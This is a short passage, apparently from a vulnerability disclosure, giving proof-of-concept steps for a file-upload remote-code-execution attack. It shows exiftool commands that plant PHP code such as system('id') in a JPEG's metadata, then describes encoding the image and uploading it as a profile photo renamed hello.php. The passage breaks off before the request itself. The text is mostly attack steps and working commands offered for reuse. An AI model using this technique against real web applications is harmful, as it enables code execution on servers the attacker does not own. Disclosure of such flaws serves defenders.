2. Technical Details & POC  
========================================  
#First of all, we need to inject the php codes into the metadata of any jpeg file with exiftool. (for example)  
  
exiftool -overwrite_original -comment="<?php system('id'); ?>" index.jpeg  
exiftool -overwrite_original -DocumentName="<?php phpinfo(); ?>" index.jpeg  
  
#after that we need to get the base64 code of the image (i used this site)  
https://h3yy0.csb.app/  
  
  
  
#and we have to do url encoding  
  
  
#now we have to upload profile photo  
  
Poc request (I changed the file name to hello.php and and pasted our base 64 code)
